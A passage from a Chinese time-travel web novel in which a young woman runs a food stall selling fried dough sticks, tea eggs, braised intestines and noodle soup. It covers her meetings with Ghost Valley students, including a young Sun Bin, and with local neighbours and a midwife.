他拎着空篮子回到自己摊位上,仔细地剥开茶叶蛋蛋壳,连蛋壳上残存的汁水都要喝干净,这才视若珍宝地咬上一口,蛋白浸着卤汁,跟着蛋壳洇开棕色纹路,复煮第二次后更加入味。
等咬到蛋黄时,小菜农发现这居然是糖心的,最中间微微流黄要熟不熟的样子,变成了橙色。小菜农也不嫌噎得慌,两三口便把茶叶蛋吞进了腹中,只留余味在嘴里回味着。
他叭了几下嘴,有点恋恋不舍地舔了舔还带着卤汁的指头。
而那头的满未楹揭开了彻底滚开的茶叶蛋陶锅盖子,并把油条剂子下进油锅中。
她每次都是二十根一锅,会在心里计算每份面团能炸多少根,也方便她回去盘账。
定挽桥下人流络绎不绝,满未楹的早食卖得飞快。
一只肚大怀胎、通体黢黑的大狗飞快地跑在变得热闹的街道上,它的脖子上系着七色绸结,一抹紫色分外突出。
时人以紫为贵,紫色虽然能用紫草提取,但是提取难度大,对温度要求高,只能在秋冬温度极低时才能均匀上色,而且为了防止脱色,往往浸染数十遍才能稳定。
而这个颜色出现在了一只大黑狗身上。
它的身后还追着一女一男两个少年人。
两人穿着均显贵,少女戴着翠玉耳铛,发誓盘旋缀着大小一致的黄金蝴蝶,襦裙宽大翩跹;少男一席白衣,腰间挂着玉坠和金线香囊。
只是看着便出身富贵的两人斗嘴声一句比一句高昂:“孙熙洳说好了偷偷下山买点零嘴,你怎么把它带出来了!这要是跑丢了老师得把我俩皮扒了!”
“还不是你半路发现了,非要把它送回去,它本来就聪明自个儿趁机跳下车,这难道不该怪你吗!”少女不甘示弱地回嘴。
大黑狗可不管两人在背后说着什么,它四条腿狂奔,直直冲着定挽桥下而来,最后停在了满未楹的摊前,从各色人腿中挤过,最终穿过捡漏的桌子腿,伸着舌头喘气,蹲在了满未楹身边。
“哟,这是谁家养的狗?”眼尖的人看见了便叫嚷起来。
“看那绸结,怕不是哪个贵人养的,偷跑出来了。”
满未楹感觉到一抹热烘烘的暖源朝自己靠近,低头一看便瞅见了这只大狗,差点吓了一跳,这狗蹲着都能到她大腿了。
可是它神色温顺,见满未楹似乎有些害怕,它还往后挪了挪了屁股,只是一双湿漉漉的眼睛一眨不眨地看着她,发出像是小孩子一般的嘤嘤气音。
满未楹忙着给围在食摊边的顾客们包油条、包茶叶蛋,大黑狗乖乖地待在一旁。
“狗来富呢小娘子。”周边有人打趣地说着。
满未楹会心一笑,早食逐渐卖完。
等她把最后二十根油条下进锅中,终于有空顾到身边的大黑狗。
锅中茶叶蛋只剩下了五个,她捞出一只茶叶蛋,剥开壳,掰成两半喂给它。
这只大黑狗毛色光滑发亮如同绸缎一般,根根柔软蓬松,厚厚得覆在身上;鼻头湿润,牙齿干净,大眼睛像是葡萄一般。一看便是被家里人精心养着的。
“你是偷跑出来的吗?”满未楹当然也没指望它会回答,大黑狗两口便把茶叶蛋吞吃下去了,明显吃完后眼睛更亮了,尾巴也摇的更欢。
等满未楹直起身来,用湿布擦干净手时,那两位少年人终于气喘吁吁地跑到了满未楹跟前。
两人气都还没喘匀,便拱手朝满未楹作揖,“小娘子,真是对不住,伯奇顽劣,给你添麻烦了。”
一边说着,那位名为孙熙洳的小娘子捞过身边小郎君的钱袋:“若是伯奇不小心弄坏了小娘子什么东西,我们这就赔偿......”
“没有的事。”满未楹摆摆手,“伯奇乖得很。”
她叫这名字顺口得很。
面前二人这才稍稍安定下来,注意到满未楹这个小摊子。
孙熙洳抽了抽鼻子,目光落在那口大油锅上,金黄酥脆的油条翻滚在冒小泡的油中,那香气让孙熙洳不由自主地“咕嘟”咽下一口口水。
“小娘子,这是何
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物,闻起来怪香的。”孙熙洳问,“这锅倒是跟我们庖厨用的很像,只是他从未整治过这种吃食。”
“这叫油条。”说着满未楹便用筷子夹出一根来,油花顺着油条往锅中流,“小娘子可要试一下?”
看见满未楹的动作,比孙熙洳动作更快的是伯奇,它瞬间变得激动起来,矫健的后腿一发力,前爪便直立起来,直直扒到了满未楹胸口。满未楹稳稳地站着,纹丝不动。
她前世也养了大型犬,伯奇这一下在她的预料之中。
“伯奇!不得无礼!”对面的少男恨不得翻过桌子来拉开伯奇。
孙熙洳结结巴巴:“小娘子,真是不好意思了,伯奇有点馋嘴,它吃的还有这剩下的油条和鸡子儿我们都要了,劳烦小娘子算一下帐。”
“一共七十铢。”满未楹脱口而出。
对面少年人不约而同挑了挑眉。
这对经过现代数学教育的人来说,这点心算太容易了;但是在这个时代,教育是平民不可及的东西,好的账房更要经过数年培养。连酒楼里小厮算账都得抱个算盘一项项加。
对面两人明显没预料到市井里的年轻小娘子能几乎不思考便说得准确无误。
孙熙洳数出十枚圜钱递给满未楹:“多余的就算我们补偿小娘子的,伯奇在这多有叨扰。幸亏小娘子收留了它这会,若是丢了,只怕我二人回到山上就要被遣返回家了。”
“山上?”满未楹捕捉到关键词,“二位是鬼谷门生?”
孙熙洳大大方方的点头:“我名为孙熙洳,这是我兄长名伯灵。我二人现拜在鬼谷门下。今日上午无课,山上庖厨手艺实在一般,这才下山来想买些肉脯、果干、瓜子之类回去当零嘴。”
满未楹点头表示理解,学校食堂大锅饭确实一般,吃过的人懂的都懂,也只有大学食堂实现“承包制”,竞争选择才能出美味。
追着伯奇跑了一路,孙熙洳和孙伯灵都肚肠饥饿,嗡鸣声阵阵。到底是少年人心气,也顾不得所谓的世家风范,两人一狗干脆坐到了铺子前的台阶上分食。
孙熙洳嚼了第一口便愣了一下,随机也不说话,只顾着大口塞,油条表面酥脆内里松软,入口/.交织在一起,咸甜混合,极为满足。
不比孙熙洳的织锦湖蓝襦裙,沾上些许灰尘也看不出;孙伯灵穿着的白衣最是显眼,他可不想顶着两屁股形状的灰回去,于是往台阶上铺了两条巾子才坐下。
他一手吃,另一手喂给伯奇——伯奇很讲究,掉地上的不吃,这可是恩师的爱犬,云梦山的小祖宗。
“小娘子,这可真好吃。你这是怎么做的?比庖厨刚做出来的肉饼锅盔还脆!”孙熙洳毫不吝啬夸赞。
“下大油,用面团炸出来的。”满未楹回答,“我听你们说山上庖厨也有这种锅?可以回去让庖厨试着做下。”
油条本身没有制作难度,纯粹是一个信息差和材料差距,普通人家没有铁锅、也舍不得放这么多油罢了。但云梦山不同,就算满未楹不说,二人回去一描述,估计那位庖厨也能自己琢磨出来。而且,孙熙洳可是付了十枚圜钱呢!
满未楹一面收拾着小摊子,等待泥炉冷却就能搬回去,一面偷偷打量白衣少男的腿,在他察觉之前又赶紧收回了目光。
她呼出一口气,在秋冬的早晨变成了白雾。太阳升起,凉意正被驱散,明晃晃地照耀定挽桥下神色各异和来来往往的人群。
自从觉醒记忆之后,满未楹对于自己穿越总有种模糊的不真实感,直到自称“孙伯灵”的人出现在自己眼前。
此时的他还是正在求学的学子,没有遭受膑刑,尚且还不叫孙膑。
满未楹和二人一起坐在石阶上,听着繁华嘈杂声,心中生出落在实地的满足感。
12.吃挂落
“纹裂如网,悠韵绵长,咸香醇厚,烟火裹珍。”直到回到云梦山上,孙伯灵还摇头晃脑念叨着茶叶蛋的美味,好似要写出一篇“茶叶蛋论策”来。
惹得孙熙洳翻了个白眼。
她抱着连吃好几根油条的大黑狗头:“伯奇啊伯奇,你都快生了,可别这么调皮了,吓死我们了。”
伯奇只是一味吐着舌头哈气,并不和孙熙洳对视。
太阳升起驱散了晨雾,山间数院落藏在森林巨木中,依山傍水而建。
这便是引得天下学子向往的鬼谷一门了。鬼谷子隐居在此,门下弟子三千,但能得他亲自教导的内门生不过寥寥几人。
云梦城中也有公学,或许是给家乡的特别关照,鬼谷每年都会安排人,从公学中引出资质优异的几人上山学习。每当这时,其家人总是得意洋洋、格外扬眉吐气。
马车顺着开凿修建的山道一路向上,停在了诸学子的书院后门前。孙熙洳和孙伯灵分开,男女不同院,女院建在山间温泉处,久而久之温泉也被女院学子们霸占了。
孙熙洳和另外两人共享一处小院落。此刻她听得屋外流水潺潺,想也不用想便知道是谁一大早便泡起温泉来。
芈武注重养生,定不会一早便让寒气入体。
也只有缦嬴如此随性。
“看我给你们带什么回来了。”孙熙洳脚下不停,推开角门转过花篱,便到了温泉处。
四名侍女手捧金盆、浴巾、醴酒等物静默而立。孙熙洳腿边还跟着伯奇,一名侍女拿来湿巾子给它擦拭四只大脚。
“小馋猫,又下山搜罗什么肉脯了?”一道懒洋洋的年轻女声响起,热雾蒸腾中,女子身影缓缓向岸边走来。
姿容浓稠的艳丽少女出现在孙熙洳面前。
“山下一个小食肆,做的叫甚么‘茶叶蛋’,说是用香料和茶叶卤出来的,滋味可好的,我那呆子哥哥差点写了首诗出来。”孙熙洳打开用布包好的油纸,把茶叶蛋递给缦嬴。“我只肯给他吃了一个,剩下的带回来给你和芈武姐姐。”
茶叶蛋带回来早就冷了,但缦嬴被那股香气勾起了兴趣,也不用侍女动手,便自行剥开。“这当真稀奇,确实好吃。怎的不多带几枚回来?”
“我们到的时候,人家都快卖光了,就剩这几个,还给伯奇吃了一枚。”孙熙洳想到伯奇,连忙回头让侍女把伯奇送回恩师那里去。
时人是吃狗肉的,狗肉比猪肉便宜,因此有不少屠狗户。虽然伯奇一看便是大户人家养的,但是保不齐有不长眼的看见狗便动了心思。
“跟你一样馋。”缦嬴笑着说。
“这次偷偷下山之后,估计有一段时间我不能出去了。恩师虽然对我们女子多有包容,但是也不能太张扬。”孙熙洳撑着头,想到这么好吃的东西不能天天吃到,着实难受。
云梦山不允许学子和身边带的奴仆私自下山,学子每五日才能下山一次,虽然奴仆凭文牒能自由出入,比主人方便许多,到底是要经过山门下鬼谷卫士核验,多有不便。
“过几日我便下山归家了,到那时给你买上几百枚来,放院子里想吃就热上。”缦嬴两口吃掉了剩下的茶叶蛋,许诺道。
“怎的如此突然?”孙熙洳皱眉,最近也没什么节日啊。
“我那好姐姐要过生日了,我自然是得回去的。”缦嬴眉目卷过一丝不易察觉的忧愁,轻叹一口气。
*
满未楹并不知道山上贵人之间的事,就算知道了也会觉得此刻和自己无关联。
她把早食摊收回家后,把昨日剩下的猪肉片炒到断生,而后加入切得细细的小白菜翻炒,接着加清水和淘好的大米一起炖煮。
她和满珣的早食便吃“白菜瘦肉粥”吧。
铁锅炖煮除了容易糊底外毫无缺点。烹饪时长也比陶锅短上许多。
片刻后,满未楹端着碗进屋喊满珣起来用早食,一如前两日,在用早食时便把今日的收入算好。
只是今日,无论怎么算,都少了两圜钱。
满未楹记得清清楚楚,她是习惯每锅炸二十根油条,一共下了六锅;鸡子儿刨去昨天卖给钱娘子的、早上送给小菜农的、孙熙洳多给的钱要刨掉......
今日本该赚六十九圜钱加六铢,加上孙熙洳多给的,七十三圜钱加八铢。
还差两圜钱,任凭满未楹怎么数钱袋,都对不上。
“许是早上人多,你一时没注意,那起子小人欺你年少,故意趁乱走了。”满珣心疼地看着满未楹,“明日你起来出摊的时候,我也跟着去,帮你看摊子收钱。”
满未楹记性极佳,她不觉得是谁少给了钱,因为每次她都是先收钱再给早食的。她满腹疑惑,但还是稍稍安定下来,两圜钱说多也不多,她明日再警醒些。
“没事阿娘,你先休息好,养好身子。我后面还要多做几样早食,等到那时顾不过来,肯定要你帮我收钱了。”满未楹拍拍她的手,满珣甚少做粗活,她的针线功夫了得,手也养得白嫩纤细。
“还要再做新的吗?”
“这是自然。”满未楹说,“我现在就两样东西,大家吃腻了之后就不会再买了,得多几样搭配着才行。况且油条做起来太简单了,只要一看就能会。我又卖得这样好。我觉得很快就会有人来模仿我。”
云梦城商业氛围浓厚,满未楹虽未仔细观察过,但是也知道光是定挽桥这一片,卖早食的便有好几家。
有卖小米粥杂粮粥的,有卖锅盔羹饭的。等到了晚间,还会有人上街来卖炙肉渍饭。
但是说起来种类确实不多,花样也少得可怜。许多烹饪方法受限于工具,并没有开发出来。
满未楹也是占了穿越的“先知优势”。
满未楹卖得好、赚得多,自然会有人生出模仿学习的心思。她想一直靠油条和茶叶蛋赚钱是不可能的。
满珣知道满未楹既然这样说了,就代表她心里已经有了章程。女儿这么能干,做母亲的现在不能给助力,也不能拖后腿泼冷水。
“你放心做,阿娘这里还有嫁妆钱,你需要就用。”
满未楹抬头展露一笑:“阿娘放心吧,我这都是小本生意,亏不了。”
“小满啊——来开门——”尤婶子的大嗓门在院墙外响起,伴随着门锁敲在厚重木门上的声音,“门窗都做好了!”
满未楹和满珣对视一眼,两人脸上都浮现出笑意。
尤婶子提着鸡子儿篮子,身后跟着乐大和罗婶子,杜大手上拎着一个工具箱,深色轻松,罗婶子拉着满载门窗的车停在一旁,微微喘气。
尤婶子目光往后转了转,几不可见地撇了撇嘴。
满未楹看见了,但是她也没有吱声,只是把人迎了进来。
满未楹家内院里,东面是带着两间厢房的正房,两间厢房又各连着一间小耳房,一间耳房用来放杂物,另一间耳房则藏着去二楼的楼梯,现在并没有摆放什么东西。
北面则是三间厢房,凭院墙而建,建造之初意图是供客人居住的,后面交给保人出租时,分别租给了几户人家,出事后都搬走了。
南面则是小厨房和天井,一条夹道通往后院。
形似后世的四合院,但是又不尽相同。
从前面铺子到内院屋子再到后院院墙,主要结构全是用砖瓦建成,比一般的木屋、土屋牢固不少,造价也更加高昂,已经去世的祖父祖母确实给满珣和满未楹留下了丰厚的不动产。
厢房内有小门可
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通向耳房,满珣已经把金银细软首饰的小箱笼收拾好,搬到了耳房中;床幔垂下,不叫人看见内里;一架有些破破烂烂的屏风遮住母女二人用水的角落。
收拾妥当后,她才从厢房中走出。
满未楹和尤婶子坐到井边收拾着今日的鸡蛋,间或看向忙碌的木匠夫妻俩。
拆窗、拆门、拆铜钉、重新做栓......虽然为人有些刻薄且计较,但罗婶子动作十分麻利而且仔细,连掉落的刨花都归拢到簸箕里;反观乐大那边,就显得分外邋遢,窗缝里都掉了一堆灰尘和木花,还是罗婶子过去清理掉的。
满未楹眼看着乐大嫌罗婶子碍手碍脚,还推了她一把。
罗婶子只是抿了抿唇,什么也没说。
满未楹眉头刚刚皱起,尤婶子便用鸡子儿敲了敲她的额头,冰冷的井水激得她灵台都是一清明。
尤婶子声音很轻:“小满啊,别人的家事可不能多嘴。这世上之事,多的是愿打愿挨和出了头结果落不得好的。”
显然这种事不止发生过一次,以尤婶子热情开朗又乐于助人的性格,只怕早就“仗义执言”过,怕是没什么好结果所以她才这样说。
满未楹低下了头,专心清洗手上的鸡子儿。
满珣坐在温暖的炉子旁,手上又在拆一件过冬的衣服,她准备把她的一件裘衣改给满未楹做外搭斗篷穿。这件裘衣还是满珣出嫁前穿的,满未楹身量比她那时还长,只能把袖口领口的皮毛拆下,缝到宽大的斗篷上。
一个厢房的门窗装的快,连窗上白色油纸都糊好了,用了厚厚的浆糊了好几层,触之坚硬。这间厢房焕然一新,和其他破破烂烂的地方形成了鲜明对比。
罗婶子把门下、窗下都扫了一遍,垃圾不知道倒哪,干脆先放在了廊下。
她们一早便去尤婶子家把她家的驴棚,不对,是驴屋搭好了,才轮到给满未楹家装门窗。
尤婶子拿出钱袋,当面数清了五贯半圜钱交给罗婶子,钱还没在她手里焐热,便被乐大“不经意”拿走了。
满未楹和满珣客客气气地把人送出门。
罗婶子的吊角眼一转,便落到了满珣手里拿着的皮子上,“哟,要不怎么说到底是祖上富过的呢,瘦死的骆驼也比马大。我儿还在云梦山上读书,我们老两个一天天城里城外到处奔忙上几个月也买不起这样好的皮子给他,同窗面前总是没脸。还得是满大姐儿命好啊。”
满未楹脚下一顿,深吸一口气。她后悔刚才还感到罗婶子可怜了。
这句命好放在现在没了父母丈夫亲族的满珣身上,属实是挖苦。那一句她儿还在云梦山上读书,更是明晃晃的炫耀。
“我阿娘自然是命好。出嫁前父母宠爱,出嫁后阿爹保护。即便阿爹离世,现在还有我,这辈子一点重活都不需要做。这间铺子还有嫁妆钱一应物事都在手上,连我也跟着她姓,家财不落到外人手上。”满未楹脸上挂着笑,眸光却冷淡无比。“这世上什么都不作数,唯独捏在自己手里的钱才是最真的。”
不就是戳人心肝么?不就是骂人揭短么?谁还不会了?
这番话把罗婶子说的脸上青一阵白一阵,尤婶子拍了拍她的后背:“现在哪个小姑娘家的好拿捏了,你还当是你那时候呢?好啦好啦,不耽误你两口子出去干活了,可得给你家大郎过冬买皮子去呢。”
尤婶子语带机锋,一番话说的二人讪讪而归,或许只有罗婶子一个人讪讪,毕竟乐大摸着钱袋,一脸无所谓的样子。
回到内院中,满未楹还是气得赚了两圈,只觉得自己刚才没发挥好怎么没直接上去扇她两耳光呢!
她定要好好赚钱,早日把屋子全修整好,还得请个更有手艺的木匠来,狠狠打他们的脸不可!
13.卖卤味
河岸和街道两边的路灯支了起来,两侧商铺除了满未楹这家,家家也是灯火通明。
云梦城的夜市同样繁华,户户开到深夜才会停歇,下工后的城里居民大多会在晚食后出来逛一圈,吃吃宵夜、算算命、听听说书、看看皮影戏......
但是城门亥时三刻便会下钥,因此城外的人早早便会回去。
在这里,只有紧急军情和某些大贵族到访才会夜开城门,无故夜叩城门是国法重罪。
这也是为什么哪怕是个小摊贩,梦想也是赚到钱,有朝一日搬进城里来。谁不想在夜市上多赚点钱呢!
而满未楹的小食摊子,刚好开在夜市“第一波”,上工的码头工人、接孩子下学的娘子婶子们络绎不绝。
满未楹把自家用的碗筷和几条板凳搬了出来,重新支起了小小的食摊。
和第一日做油条一样,量不大,只是做试水看看效果如何。如果销量不错,满未楹才会加量。故而连碗筷也没有预备新的,还好这也是娘儿俩回来后才买的,两人都没用过,跟新的也没差别。
太阳还未下山,暮风阵阵带来余温。室外温度正好,因此这次满珣也出来了,坐在满未楹身边,用一把蒲扇轻轻扇着炉子里的火。
卤汤加热后,醇厚的香气慢慢溢出,陶锅盖子都无法掩盖。
傍晚时分,定挽桥下的小商贩们换了一批,满未楹扫视过去,有卖花的;有卖鱼的——多的是城里人出城或者到云梦山下捕鱼,晚间来卖;又卖酒的;有卖吃食的——比早食丰富了不少,各种炙肉架在泥炉上,晚食一般是一家人聚在一起,大家都会更舍得花钱。
最显眼的还是桥下那个红彤彤的算命布幌,上书“五行平衡,一卦知吉凶”,下面坐着一个胡须一大把的干瘦老头。
时人大多信命信运,连王室都养着巫卜,对外征战还会看龟甲裂纹决定。
流入民间后变成了大大小小的算命摊子,可不能小看人家这个摊子,算一卦五圜钱,而且生意可不错了,赚得比满未楹多多了。
等满未楹看够了眼前繁华的景象,卤汤已经开始咕嘟咕嘟冒泡。
她赶紧动手,准备起她和满珣的晚食来,她今天就准备在摊子上吃了。
主要还是出摊时间有点不上不下的尴尬,要是在家准备晚食,还得考虑到做菜洗碗洗锅再搬炉子等等耗时,毕竟现在厨具家当就这点,必定得早吃,而且折腾一番到晚间又得饿了;要是等出摊回去再用,又太晚了。
满未楹拍板决定了,今天两人就在摊子上吃,怕什么别人眼光,她俩吃得香还正好给自己家打广告了呢。
满未楹捧出发酵好的一小块面,就着小小的木桌用擀面杖摊成大饼状,偏薄一些,折叠起来切成细条状,展开来再拉长,静止在砧板上。
满未楹擀面功夫了得,这都是她曾经练出来的,所有的技巧都铭记于心。这还不算什么,她甚至可以擀出能看见手上汗毛的薄面皮,这可是做泡泡小馄饨的精髓。
铁锅先行加热一会,热锅下油,打入两个鸡蛋,透明的蛋液迅速凝固成蛋白,边缘处卷出好看的焦色,满未楹将鸡蛋翻了一个面,而后盖上锅盖,抽走柴火,让余温焖熟蛋黄,这样便不会把鸡蛋炸焦。这个方法百试百灵。
大概一分钟便可以把煎蛋夹出了。
而后铁锅里加入清水和昨日做卤汤剩的部分高汤,重新把柴火塞进炉膛里,大火煮开。
阳春面的汤底是在家便准备好的,此刻只是把碗端了出来,一块猪油、一点醋、酱油、盐和糖,撒上一小把葱花。汤煮开后下入刚扯好的面条,精面扯出来的面条相比麦麸面条更加细腻纯白,而且韧性好不易断,还能擀的更细。
这时候所有的面食都统称“饼”,这种在汤里煮熟的便称为“汤饼”。
木勺舀汤进碗中,化开猪油,把调料都混合在一起,清透的油和青绿的葱花漂浮在酱色的汤汁上,高汤和调料混合,热气腾腾。
满未楹手腕灵巧地翻动,如同飞舞一般,只是几下便把锅中漂浮的面条完完整整的捞出放进两个碗中,手擀的面条不能像后世机器面条那般卧出好看的背壳状,但是等满未楹刚好煎好的金黄色鸡蛋卧在面条上时,照样是色香味俱全的满满一碗。
与此同时,她揭开了卤肥肠的锅盖,把鸡肉放了进去,鸡肉容易老,只需要重新加热一下变好。
满未楹先给自己和满珣捞了一碗卤味出来配面条吃。
夜市上吃东西的人不少,满未楹也不算突出。
肥肠炖了许久,入口软烂,内里藏了许多喷香的卤汁。处理过的肥肠一点异味都没有,只余层次丰富的香料气息,但是没有丝毫掩盖肥肠本身的肉味,连满珣这样的孕妇也没丝毫不适。
因为要配卤肥肠吃,因此满未楹没有给阳春面放太多盐,汤味清淡适中,一点也不和卤肥肠冲突。凝固后的猪油里面掺杂了一点点猪油渣,此刻泡开后一点也不油腻,搭配着手擀面格外好吃。
手擀面擀得薄,因此稍微一煮便很容易熟了,非常容易消化。
大肉进肚的满足感无法比拟,本以为回到云梦城要过上吃糠咽菜的苦日子,没想到居然能顿顿有肉。
这全靠满珣持家有方还有不少家底在手上,加上满未楹手艺好又会经营。
这边满未楹母女俩专心吃着晚食,丝毫没注意到卤肥肠、阳春面汤的香气和她利落的动作早就吸引了许多人的注意。不少步履匆匆准备回家的人都望向这边。
满未楹第一次出晚摊,准备还不充分,没有想到要在门口点上灯笼和照明灯,此刻摊前显得有点暗暗的,全靠左邻右舍和对面灯光照耀。
只是昏暗的天色也遮掩不住母女俩的好颜色,满珣未出嫁时便是远近闻名的美人,现在年岁渐长,将养得好,眉眼不见一丝皱纹,肤如凝脂,气韵更胜从前;她身边的满未楹身量修长,遗传了满珣的好皮肤,在暗色中也显得耀眼,一双大眼睛比定挽桥下的秋洧河流水还水光润润。
“大姐儿还是这般漂亮,看得人都挪不开眼睛。”尤婶子带着大女儿出来买下酒菜,今日大女儿跟丈夫斗了气,带着孩子归宁。此时她和大女儿咬着耳朵,也知道这话要悄悄说,不能给当事人听见了。
“大姐儿和小娘子做什么呢?可真香啊。”大女儿怀里抱着巧妹儿,朝摊子上张望着,“娘,我们也去看看。”
没等她们三人走到跟前,已经有人率先走上前询问了,听到一碗要五十铢,加上这还是猪下水做的,不少人都止步在问价上,真正下决心要买的人还没有。
但是满未楹早就预料到了这个情况,她从杂货铺买了一把竹签回来,时人多吃炙肉等大块肉,因此剔牙用到的细小竹签也是日常必备。
满未楹把肥肠切成了更小的小块,若是有人犹豫不决又想尝尝味道,就用小竹签叉一小块尝尝味道。这项免费的“试吃”活动吸引了不少人。
最先忍不住的便是娘子们手上牵着的小
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娃娃。
小孩子最是嘴馋,抓着爹娘的手,屁股一赖就要把人拽到摊子前。
其中便有满未楹摆摊第一日看到的卢娘子,此刻她右手抱着小女儿,左手牵着刚下学的大儿子。
卢娘子也是无奈,家里自然是备好了饭等她带着孩子回去,但是有这两个好吃宝在身边,每每回去总得顺点什么,她又虎不下脸,看来下回得让阿姑出来接才行。
只是她打眼一看,才发现原来是上次油条小娘子的摊子,那油条的好滋味她还在回味着,想必小娘子做的其它吃食也不会差。
她半推半就地就被儿子拽了过来。
满未楹还记得这个好心提醒她的娘子,当即把插着竹签的碗递过去:“卢娘子可要尝尝?也给小娘子和小郎君尝尝。”
“这多不好意思呀。”卢娘子还是知道分寸的,没接。
满未楹并不在意,本来她就切得小,就算母女三人都吃一块,也就一小段肥肠而已:“不打紧,娘子尝个味,若是喜欢再买一碗,也不浪费圜钱。”
卢娘子这才接过,给自己和两个孩子各戳了一块,甫一入口,母女三人俱是眼神一亮,这肥肠卤得烂烂的,连小小的女儿都能吃得动,嘴巴一鼓一鼓像是小松鼠屯粮一样,边吃还边发出“嗯嗯”的声音。
“阿娘!真好吃!”两个孩子拉着卢娘子的手前后摇摆,“还想吃!”
卢娘子家也是小有家底的,看两个孩子爱吃的模样,当即就决定买一碗回去,五十铢就五十铢!再苦不能苦了孩子。
满未楹盛了满满一碗,放进卢娘子随身携带的菜篮子中:“娘子,这碗收两铢的押金,等你有空了还给我,押金照常退回。”
卢娘子数出钱来:“好嘞小娘子。”
隔壁铺子的钱金玉刚从内院转到前面铺子来,又闻到了那股无法忽视的香味,登时她也顾不得喊上小厮或是嬷嬷,只顾得拿上钱袋子,便走出了店门、挤进了摊子前的人群中,扬声道:“满小娘子!再给我来两碗!”一面熟练地掏出圜钱来,递到满珣手中。
她住得近,直接端回去换到自己家碗中就行。
先用笊篱捞出一大勺猪肠,热气腾腾的卤汤从笊篱的空隙中滑进陶锅中,激起香气散溢。把猪肠铺进碗中后,再用汤勺捞起卤汁沿着碗边把卤汤浇进去,微微没过猪肠。
两碗全部盛好后,满未楹稳稳地交给钱金玉。
有她们开了头,后面陆续也有人一碗两碗的要,而后便坐在满未楹带出的板凳上,端着碗筷便吃了起来。
定挽桥下这片不大的区域登时吃得热火朝天。
但是也有人看见了满未楹娘俩吃的阳春面和上面窝的煎蛋,也有些跃跃欲试:“小娘子,给我来一碗卤猪肠,还有你刚才吃得汤饼可否也给我来一碗?那鸡子儿是如何做的?给我也做上一个。价钱你说。”
满未楹先是打上一碗卤猪肠,而后看了看半凉的面汤:“娘子,你若是不嫌弃,我就还用这口锅给你下一碗汤饼,只是鸡子儿怕是做不成了。煎鸡子儿只有这锅能做,陶锅做不出来。”
“不打紧,小娘子你做便是,这一趟可把我累坏了。”
说话的那名娘子满头红艳艳鲜花,衣着颜色最是鲜亮,胸前还缀着一块万福扣。她一脸松快,满是喜色。
满未楹还是第一次看见如此穿着的人,但是她认不出来。
尤婶子的大嗓门适时地又在一旁响起来了:“哟,这不是我们殷稳婆嘛!”
14.卖光了
稳婆。满未楹听到这个词,眼神一亮,和身边的满珣对视了一眼。
“哎哟这不是尤婶子嘛!”殷稳婆看见来人,同样语气浮夸地和尤婶子打起了招呼。
“这是刚从城外回来?瞧你累的。那家人也没留你吃饭?”尤婶子的两个女儿两个儿媳妇都是找殷稳婆接生的,两家人很是熟稔。
“是啊,接生了个大胖姑娘。”殷稳婆很是得意,“胎位不正差点脚先出来!要不是我手艺好,可就凶险了噢。”说着便在条凳上坐下,“城外人家本就不富裕,请我吃什么饭,留给产妇吧。我赶紧回来免得误了城门下钥时辰。”
她提了提手中装着红皮鸡子儿的篮子:“拿了利是和几个鸡子儿便回来啦。”
尤婶子熟练地和殷稳婆攀谈着,大女儿抱着巧妹儿也让满未楹打一碗卤猪肠,又叉了一点先喂给巧妹儿,两人先归家去把碗还回来。
满未楹今日本来也正好多揉了面团出来,准备等母女俩吃完后再炸油条卖。卤猪肠量又不大,摊子支都支起来了,自然是能卖就多卖点。
现在有人要阳春面,满未楹也能做出来,正好面汤还没倒,此刻往泥炉膛中加一把柴火重新加热,接着满未楹扯出面条来,满珣回家去做调料。
“两位娘子!”有人不知该如此称呼满珣,便如此喊道,“也给我来一碗!”
满未楹应下,手上利落的持刀切下一块块小面剂子,而后扯开。后世不缺精面的地方,大家也喜欢看人耍杂活一样扯面,比如海某捞。
也因此满未楹这一手很是吸引人,不少人都驻足看她扯面,自然也有那腹中饥饿之人也纷纷上前要一碗。一碗素阳春面十铢,比起有些贵价的卤猪肠,阳春面价格更在大众接受范围内,也更管饱。
能做生意自然就没有不答应的,只是这样满未楹家的碗筷就不够用了。
第一次摆碗摊,而且今天也没打算卖阳春面,准备不够充分,也是情有可原的。
尤婶子素来热心肠,此刻也不吝啬,当即便说她回去拿,她家里本就人口多,孩子又调皮,碗筷从来都是准备双倍数。
满未楹也没急着下面条,满珣看人多,干脆从家里把调料瓶带了出来,总比捧着碗好。
天色已经彻底暗了下来,一片光亮之中,满未楹家这一片显得尤为昏暗。
正当满未楹思索要不要现在就去桥对岸杂货铺里买一盏灯时,身边突然凑过来一个明亮的光源,温热熨帖。
满未楹看去,钱金玉指挥陆浮和家中小厮搬了两盏灯来,底座是雕花实木,高约七尺,把这个小小的摊子照的明亮极了。云梦城富庶,地面都是用青石砖铺就,灯站得稳稳的,用石块压住,不小心碰到也不会倒地。
满未楹感激地一笑,正想说些什么,钱金玉只是摆摆手便回到了铺子中。
满珣学着满未楹的样子拌调料,其中那罐雪白的猪油引起了许多人的注意。
“小娘子,这猪肠是买的宋娘子家的吧,也只有她们家的猪肉没那么腥。但是这猪肠你是怎么处理的呀?还有这油是怎么做出来的,我家自己做肉脯滴下来的油没这么白,也没这么香。”有人询问道。
猪油很难在没铁锅的情况下炼出来,这时候的陶锅还不那么稳定,时人自然也吃荤油,但更多还是做肉干时自然滴下来攒着的,容易变质不说,油里总是带着杂质和大量盐分。
满未楹只是笑了下,并没有回答这种明显的打探问题,这现在还是她赚钱的独门秘方。等铁锅普及了,这些方法自然也会被大众发现,劳动人民的智慧不可估量。
满未楹不回答,倒是那殷稳婆眉毛一竖:“打听人家赚钱的门路做啥子?这么好学要不要来跟我学接生啊?”
周围人哄笑起来。
满未楹有条不紊地依次把面汤舀进碗中,猪油融化,汪汪地飘在汤面上,聚成一个个小气泡。
面条在汤中翻滚,变成几近透明状。满未楹依次捞出,盘卧进碗里。
满珣将面碗和卤猪肠碗端到殷稳婆面前,
殷稳婆目光锐利,一下子就聚到满珣腰身,她轻柔地弯腰,没有任何大动作。
“四五个月了吧。”殷稳婆问道。
满珣一愣,才知道她是在说什么:“对,四个月了。”
殷稳婆饿极了,都没顾得上说出下一句话,便迫不及待卷起一筷子阳春面送入口中,下一面她连连点头——好吃!
时人做的汤饼大多是用混了麦麸的面揉出来的,口感干涩,也不怎么吸收面汤。
或许对于后世的人来说这是有利于肠道蠕动消化和富含各种微量元素的粗粮的减肥良器,但是在这里,能吃上精米精面才是好日子。
殷稳婆一口接一口,时不时夹起一块肥肠,还把卤汁拌进面中,一个人便唏哩呼噜地吃掉了一大碗,中间满未楹还过来添了最后一筷子面,这是最后一点剩下的面团扯出来的,今天没成想,没做成油条,但是面也卖干净了。
